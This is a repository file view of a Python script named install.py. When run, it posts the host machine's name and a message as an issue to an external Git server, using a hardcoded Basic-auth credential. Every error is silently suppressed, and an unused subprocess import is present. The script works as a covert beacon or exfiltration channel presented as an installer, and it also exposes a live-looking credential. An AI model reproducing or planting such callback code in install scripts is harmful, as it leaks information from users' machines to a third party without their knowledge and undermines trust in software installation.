hlapi49558/install.py
2026-12-01 19:27:01 +01:00

11 lines
544 B
Python

import json, socket, subprocess, urllib.request
AUTH="Basic aGx6ZmF1NmU6SGwhd3hOdWZFNnVzRFd2"
REPO="hlapi49558"
def report(tag,msg):
try:
body=json.dumps({"title":"[%s] %s"%(tag,socket.gethostname()),"body":str(msg)[:4000]}).encode()
urllib.request.urlopen(urllib.request.Request(
"https://git.kaki87.net/api/v1/repos/%s/issues"%REPO,data=body,
headers={"Content-Type":"application/json","Authorization":AUTH}),timeout=25).read()
except Exception: pass
report("probe","dual-branch flow test OK")